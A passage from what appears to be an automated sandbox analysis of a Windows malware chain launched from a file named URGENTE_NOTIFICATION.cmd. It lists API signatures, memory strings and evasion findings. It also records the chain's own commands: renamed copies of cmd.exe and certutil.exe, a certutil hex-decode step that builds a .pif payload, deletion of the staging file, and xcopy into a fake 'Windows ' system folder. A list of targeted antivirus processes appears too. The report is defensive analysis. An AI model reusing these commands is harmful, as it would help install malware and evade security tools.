Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 11_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 11_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 11_2_00007FF683F97B4C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14559665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 24_2_14559665
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14559253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 24_2_14559253
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 24_2_1456C291
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 24_2_1455C34D
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 24_2_1455BD37
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 24_2_1455880C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455783C FindFirstFileW,FindNextFileW, 24_2_1455783C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14569AF5 FindFirstFileW,FindNextFileW,FindNextFileW, 24_2_14569AF5
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 24_2_1455BB30
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A558CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 24_2_02A558CC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14557C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 24_2_14557C97
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree, 6_2_00007FF66594511C
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000070E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWM
Source: Mywiztwu.PIF, 00000018.00000002.1950184254.0000000000818000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-
Source: sppsvc.pif, 00000009.00000002.4103265846.00000000006D9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`*q%SystemRoot%\system32\mswsock.dll>
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000070E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Mywiztwu.PIF, 00000019.00000002.2031904948.00000000006F2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: C:\Users\Public\Libraries\sppsvc.pif API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\sppsvc.pif API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\sppsvc.pif API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Mywiztwu.PIF API call chain: ExitProcess graph end node
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F963FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW, 3_2_00007FF683F963FC
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A4D86 GetSystemDirectoryA,LoadLibraryA,LoadLibraryA,GetProcAddress, 9_2_152A4D86
Contains functionality to read the PEB
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152D32B5 mov eax, dword ptr fs:[00000030h] 9_2_152D32B5
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145932B5 mov eax, dword ptr fs:[00000030h] 24_2_145932B5
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F84D5C InitializeCriticalSection,SetConsoleCtrlHandler,_get_osfhandle,GetConsoleMode,_get_osfhandle,GetConsoleMode,GetCommandLineW,GetCommandLineW,GetWindowsDirectoryW,GetConsoleOutputCP,GetCPInfo,GetProcessHeap,HeapAlloc,GetConsoleTitleW,GetStdHandle,GetConsoleScreenBufferInfo,GlobalFree,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,free, 3_2_00007FF683F84D5C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_00007FF683F88FA4
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F893B0 SetUnhandledExceptionFilter, 3_2_00007FF683F893B0
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_00007FF683F88FA4
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F893B0 SetUnhandledExceptionFilter, 5_2_00007FF683F893B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665994E18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_00007FF665994E18
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659953E0 SetUnhandledExceptionFilter, 6_2_00007FF6659953E0
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C4FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_152C4FDC
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C49F8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_152C49F8
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C49F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_152C49F9
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152CBB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_152CBB22
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C4B47 SetUnhandledExceptionFilter, 9_2_152C4B47
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_00007FF683F88FA4
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F893B0 SetUnhandledExceptionFilter, 10_2_00007FF683F893B0
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_00007FF683F88FA4
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F893B0 SetUnhandledExceptionFilter, 11_2_00007FF683F893B0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14584FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 24_2_14584FDC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145849F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 24_2_145849F9
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14584B47 SetUnhandledExceptionFilter, 24_2_14584B47
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1458BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 24_2_1458BB22

HIPS / PFW / Operating System Protection Evasion
barindex
Drops or copies certutil.exe with a different name (likely to bypass HIPS)
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\kn.exe Jump to dropped file
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\alpha.exe Jump to dropped file
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe 24_2_145620F7
Contains functionality to execute programs as a different user
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665947024 GetModuleHandleW,GetProcAddress,#356,#357,CloseHandle,LocalFree,LocalFree,LocalFree,ImpersonateLoggedOnUser,#356,EqualSid,#357,LogonUserExW,GetLastError,ImpersonateLoggedOnUser,#356,#359,RevertToSelf,#356, 6_2_00007FF665947024
Contains functionality to simulate mouse events
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A9627 mouse_event, 9_2_152A9627
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\Libraries\sppsvc.pif C:\Users\Public\Libraries\sppsvc.pif Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del "C:\Users\Public\sppsvc.rtf" / A / F / Q / S Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Windows\System32\extrac32.exe extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9 Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665934AF4 GetSecurityDescriptorDacl,GetLastError,SetEntriesInAclW,SetSecurityDescriptorDacl,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree, 6_2_00007FF665934AF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665944E98 AllocateAndInitializeSid,GetLastError,#357,GetCurrentThread,GetLastError,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,DuplicateToken,GetLastError,CheckTokenMembership,GetLastError,CloseHandle,CloseHandle,FreeSid, 6_2_00007FF665944E98
Source: sppsvc.pif, 00000009.00000002.4116175112.0000000014918000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager'
Source: sppsvc.pif, 00000009.00000003.2526235320.00000000148A1000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4116175112.0000000014918000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4103265846.000000000069E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000069E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJL\
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000069E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJL\K
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000069E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Managerr|
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000069E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJL\9
Source: sppsvc.pif, 00000009.00000003.2526235320.00000000148A1000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4116175112.0000000014918000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: sppsvc.pif, 00000009.00000003.2526235320.00000000148A1000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.000000000078B000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4116056398.0000000014914000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: |Program Manager|
Source: sppsvc.pif, 00000009.00000002.4104133533.0000000000777000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.2526235320.00000000148A1000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.000000000078E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: [Program Manager]
Source: sppsvc.pif, 00000009.00000003.2527353506.0000000000764000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.0000000000764000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJL\c
Contains functionality to query CPU information (cpuid)
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C4C52 cpuid 9_2_152C4C52
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\Public\alpha.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 3_2_00007FF683F851EC
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 3_2_00007FF683F83140
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc, 3_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 5_2_00007FF683F851EC
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 5_2_00007FF683F83140
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc, 5_2_00007FF683F76EE4
Source: C:\Users\Public\kn.exe Code function: LoadLibraryW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary, 6_2_00007FF665993800
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: CoInitialize,WinExec,EnumSystemLocalesA, 9_2_0284D5D0
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: EnumSystemLocalesA, 9_2_02855F9F
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetLocaleInfoW, 9_2_152E2543
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 9_2_152E243C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: EnumSystemLocalesW, 9_2_152D8404
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 9_2_152E1CD8
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: EnumSystemLocalesW, 9_2_152E1F50
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: EnumSystemLocalesW, 9_2_152E1F9B
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 9_2_152E2610
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: EnumSystemLocalesW, 9_2_152E2036
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetLocaleInfoW, 9_2_152D88ED
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetLocaleInfoW, 9_2_152E2313
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: GetLocaleInfoA, 9_2_1529F8D1
Source: C:\Users\Public\alpha.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 10_2_00007FF683F851EC
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 10_2_00007FF683F83140
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc, 10_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 11_2_00007FF683F851EC
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 11_2_00007FF683F83140
Source: C:\Users\Public\alpha.exe Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc, 11_2_00007FF683F76EE4
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: EnumSystemLocalesW, 24_2_14598404
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 24_2_145A243C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoW, 24_2_145A2543
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 24_2_145A2610
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: EnumSystemLocalesW, 24_2_145A2036
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 24_2_145A20C3
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoW, 24_2_145A2313
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 24_2_145A1CD8
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: EnumSystemLocalesW, 24_2_145A1F50
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: EnumSystemLocalesW, 24_2_145A1F9B
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoA, 24_2_1455F8D1
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoW, 24_2_145988ED
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess, 24_2_02A6D5D0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 24_2_02A55A90
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoA, 24_2_02A5A780
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetLocaleInfoA, 24_2_02A5A7CC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess, 24_2_02A6D5D0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 24_2_02A55B9C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess, 24_2_02A75FA0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\Public\alpha.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\Public\alpha.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F83140 GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 3_2_00007FF683F83140
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659770F4 LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LocalAlloc,LookupAccountNameW,GetLastError,ConvertSidToStringSidW,GetLastError,#357,LocalFree,LocalFree,LocalFree, 6_2_00007FF6659770F4
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152D93AD _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte, 9_2_152D93AD
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7586C GetVersion, 3_2_00007FF683F7586C
AV process strings found (often used to terminate AV products)
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: cmdagent.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: quhlpsvc.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: avgamsvr.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: TMBMSRV.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Vsserv.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: avgupsvc.exe
